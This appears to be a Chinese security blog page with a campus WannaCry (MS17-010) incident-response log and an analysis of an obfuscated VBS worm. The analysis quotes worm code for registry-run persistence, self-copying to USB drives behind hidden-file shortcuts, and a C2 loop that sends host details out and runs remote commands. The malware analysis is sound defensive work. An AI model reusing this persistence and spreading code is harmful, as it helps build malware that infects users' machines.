分类 木马病毒 下的文章

[5.12]蠕虫事件应急响应

2017 年 5 月 12 日晚. 项目群有人发了一张图, 某大学被勒索病毒攻击.
十分钟后截了一张公告, 病毒使用 "MS17-010" 进行传播, 看到这马上想起 4 月底 FB 上的一篇帖子.
NSA 漏洞库, MS17-010, 通杀全版本. 马上安排相关人员对涉外及与教育网内部连接的服务器进行加固.
于第二日 5 月 13 日, 九点, 上课途中, 领导连来五个电话安排对机房的相关服务器进行排查.
同时在机房内发现机子出现被攻击成功, 即刻联系组员进中心机房, 对相关机房进行断网处理.
临时对涉毒大楼进行物理阻隔(拔网线). 同时对服务器数据进行备份.
因为实验大楼使用的是云端教学, 被攻击的客户端为云端镜像, 不算什么大事. 对客户端进行升级即可.
于 十一点左右 联系相关负责人, 通过核心交换, 配置 ACL, 阻隔相应端口, 封闭对应 Vlan / IP 段. 阻止进一步传播.
同时对网段内电脑进行排查. 发现实验大楼内有另一教室也出现勒索病毒. 教师端也不能幸免.
考虑云端的特殊性. 便把教室与云端服务器进行物理断网. 关闭所有在用客户端. 从源下手. 对镜像进行升级加固.
于下午五点半, 升级完毕. 晚八点恢复网络进行机房测试, 至晚 十点半 无发现病毒复现状况. 自此事件响应完毕.

总结:

主要是漏洞威力过于巨大, 只要对 SMB 服务进行阻隔即可.

未命名VBS蠕虫分析过程

前情概要: http://sys7em.info/index.php/archives/463/

本人在好几年前稍微学过一阵子的 VB, 

大概能够写一个 msgbox 的程度..
有些地方分析不到位的情况还请看官们海涵指出. :P

废话不多说,进入主题.

刚拿到蠕虫样本的时候打开是这样的 ↓

未解密-样本源代码

一条一条往下看, 第一条内容是一大堆的意义不明的字符.

粗略看下去像是 Base64,
但是直接拿去 Base64 解码肯定会得到一堆奇♂怪的东西.

因为代码经过了混淆的.
但是此脚本能够正常执行肯定会有一个还原的过程,

而下面的两句就是还原过程了.
首先经过 ss() 函数把字符串最前面的单引号给去掉,

然后返回一个值给 StrReverse() 函数.
StrReverse 函数功能是将一个字符串给反向输出,

所以我们得知作者只是简单的把 Base64 过的代码给反向了一下而已....

而再下面的一句 ExEcUtE 函数的功能是 "执行一条或者多条语句",

可以猜测 ExEcUtE 后面跟着的那串是已经解密了的代码内容.

我们将

ExEcUtE ughrtughrjkotgiojrgiuhrughtghithgihrgit2

替换为

set fso=createobject("scripting.filesystemobject")
set zsc=createobject("scripting.dictionary")
if(fso.fileexists("a.txt")) then
    set file=fso.opentextfile("a.txt",1,true)
else
    set file=fso.createtextfile("a.txt",2,true)
file.write(ughrtughrjkotgiojrgiuhrughtghithgihrgit2)
end if
file.close

运行脚本将会在同目录下生成一个 a.txt, 里面就保存了我们想要的代码内容.

打开 a.txt

解密后-蠕虫代码

"config" 和 "public var" 以及 "private var" 都是基础变量定义. 

真正的程序主体在 "code start" 下. 

第一步调用 instance 函数初始化蠕虫

开始一个死循环
调用 install 函数安装蠕虫病毒

定义参数并调用 post 函数向服务器发送数据

调用 split 函数格式化服务器返回数据

根据服务器返回的指令遍历指令集执行对应的操作

sleep 默认定义的 5000ms 后再次执行此循环

这就是蠕虫的一个生存周期的动作了.

我们跟着蠕虫的思路走, 首先第一步初始化 instance.

function instance
  on error resume
  next usbspreading = shellobj.regread(
    "HKEY_LOCAL_MACHINE\software\" &
    split (installname,".")(0) & "\")
  if usbspreading = "" then
    if lcase ( mid(wscript.scriptfullname,2)) = ":\" & lcase(installname) then
      usbspreading = "true - " &
        date shellobj.regwrite"HKEY_LOCAL_MACHINE\software\" &
        split (installname,".")(0) & "\", usbspreading, "REG_SZ"
    else
        usbspreading = "false - " &
          date shellobj.regwrite"HKEY_LOCAL_MACHINE\software\" &
          split (installname,".")(0) &
          "\", usbspreading, "REG_SZ"
    end if
end If

可以看到首先判断是否已经初始化过了, 如果没有则执行接下来的一系列操作. 

然后是判断自己是否处于驱动器的根目录, 

如果真则设置子键名为 true 反之 false, '-' 之后跟着的是日期. 

这里的 true 和 false 应该是为了判断是否是蠕虫主动传播的.

初始化完毕后跟着走 install函数 

install 函数

开头定义了几个函数范围内的参数,

接着调用了 upstart 函数, 看看 upstart 是干嘛的.

sub upstart ()
  on error resume
  Next shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" &
  split (installname,".")(0), "wscript.exe //B " &
  chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" &
  split (installname,".")(0), "wscript.exe //B " &
  chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
  filesystemobj.copyfile
  wscript.scriptfullname,installdir &
    installname,true
  filesystemobj.copyfile
  wscript.scriptfullname,startup &
    installname ,true
end sub

这个函数的功能还是蛮容易理解的, 将蠕虫自身写入注册表的启动项.

然后分别将自身复制到系统的启动目录以及 %temp% 目录.

让注册表的启动项调用. 

回到 install 函数

for each drive in filesystemobj.drives
  if drive.isready = true then
    if drive.freespace > 0 then
      if drive.drivetype = 1 then

循环遍历计算机内存在的所有驱动器, 接着判断驱动器是否已经加载并准备完毕, 

驱动器的空余空间是否大于0, 并判断驱动器是否属于可移动磁盘.

三个条件全满足才可激活接下来的感染过程.

filesystemobj.copyfile
wscript.scriptfullname , drive.path &
  "\" &
  installname,true
if filesystemobj.fileexists (drive.path & "\" & installname) then 
filesystemobj.getfile(drive.path & "\" & installname).attributes = 2+4
end if

此段代码功能为将蠕虫自身复制到驱动器的根目录并隐藏自身,设置文件属性为隐藏+系统属性.

(instance 可以由此判断蠕虫是否是主动传播的了,虽然我们可以手动将蠕虫放到根目录, 但是一般人都不会这样做的吧 XD)

接着往下看

install for 循环

这两段 for 循环的功能都是一样的,

唯一区别是上一段 for 循环针对的是文件, 下一段则是文件夹.

功能都是将原本的文件属性设置为 "隐藏+系统", 然后新建一个指向 cmd.exe 的快捷方式,

而后面则跟着一条执行蠕虫自身的代码.

由于源文件以及源文件夹都被蠕虫设置为 2+4 也是就 "隐藏+系统" 属性,

一般情况下是看不到的.只有打开了文件夹选项中的 "显示隐藏文件" 以及 "显示系统文件" 才能看到.

所以可以预见, 用户拿着被感染的移动磁盘接入了家中或者学校中一台普通的计算机或者保存着重要内容的计算机.

打开了可移动磁盘, 点击并打开了显示在文件夹中的快捷方式.

然后蠕虫开始加载并执行, 又一台电脑 boomshakalaka.

现在大众的安全意识都有普遍的提升,家中平常都会装有并运行着防护软件, 可以将可移动设备的 autorun 功能给拦截掉,

所以大部分通过 U盘 等可移动设备传播的病毒和木马都死于 autorun 被拦截这一条路上,

但是这个蠕虫别开思路,想法很新奇啊, 至少我没有想到, 我个人还是蛮佩服作者的,能够想到这个方案.

接着走

response = ""
response = post ("is-ready","")
cmd = split (response,spliter)

调用了 post 函数, 

并像 post 传递了两个参数, 一个是 "is-ready",一个是空 "". 

跟进 post

蠕虫 post 函数 

post 函数向服务端发送了一个 post 请求.

post 地址格式为 http://host:post/cmd, 没有参数, 但是把传递的内容写进了 user-agent.

user-agent 调用了 information, information 又调用了 hwid.

获取了主机名,用户名及操作系统的相关信息.

将这些一并通过 http 发送到服务器上, 然后控制端会返回一个控制指令.

通过 split 函数提取控制指令,根据指令 switch 对应的操作.

每五分钟执行一次 install 以及与控制服务器通信.达到持久控制的效果. 

以上此蠕虫的基本分析. 因为作者更改了服务器的地址,

而我没有获取到新的蠕虫样本, 不能跟进测试实在是有些伤心,

接下来的函数分析之类的没多大动力做了. 大概(?)到此为止了.

以下是此蠕虫的指令集:

install
excecute
update
uninstall
send
site-send
recv
enum-driver
enum-faf
enum-process
cmd-shell
delete
exit-process
sleep

可以做一个流量分析工具, 通过抓包分析入站流量, 发现符合指令集内容可以上报至控制中心.达到监控可疑流量的目的.